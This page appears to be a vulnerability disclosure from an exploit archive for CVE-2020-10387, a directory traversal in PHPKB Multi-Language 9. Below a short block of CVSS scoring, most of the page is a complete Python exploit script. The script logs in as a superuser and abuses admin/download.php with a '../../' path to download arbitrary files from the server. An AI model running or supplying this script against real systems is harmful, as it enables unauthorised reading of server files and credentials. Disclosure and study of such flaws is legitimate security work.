PHPKB Multi-Language 9 Authenticated Directory Traversal

2020.03.16
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: PHPKB Multi-Language 9 - Authenticated Directory Traversal # Google Dork: N/A # Date: 2020-03-15 # Exploit Author: Antonio Cannito # Vendor Homepage: https://www.knowledgebase-script.com/ # Software Link: https://www.knowledgebase-script.com/pricing.php # Version: Multi-Language v9 # Tested on: Windows 8.1 / PHP 7.4.3 # CVE : CVE-2020-10387 ########################## #!/usr/bin/env python3 import argparse import requests import shutil #Parsing arguments parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10387 - Authenticated Arbitrary File Download in admin/download.php in Chadha PHPKB Standard Multi-Language 9") parser.add_argument("url", type=str, help="PHPKB's base path") parser.add_argument("username", type=str, help="Superuser username") parser.add_argument("password", type=str, help="Superuser password") parser.add_argument("file", type=str, help="The file you want to download (starting from PHPKB's base path)") args = parser.parse_args() session = requests.Session() #Perform login session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text #Sending exploit code and downloading the file url = args.url + "/admin/download.php?called=ajax&act=backup-lang&file=../../" + args.file ext = url.split("/")[-1] with open(ext, 'wb') as file: shutil.copyfileobj(session.get(url, stream=True).raw, file) del session


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top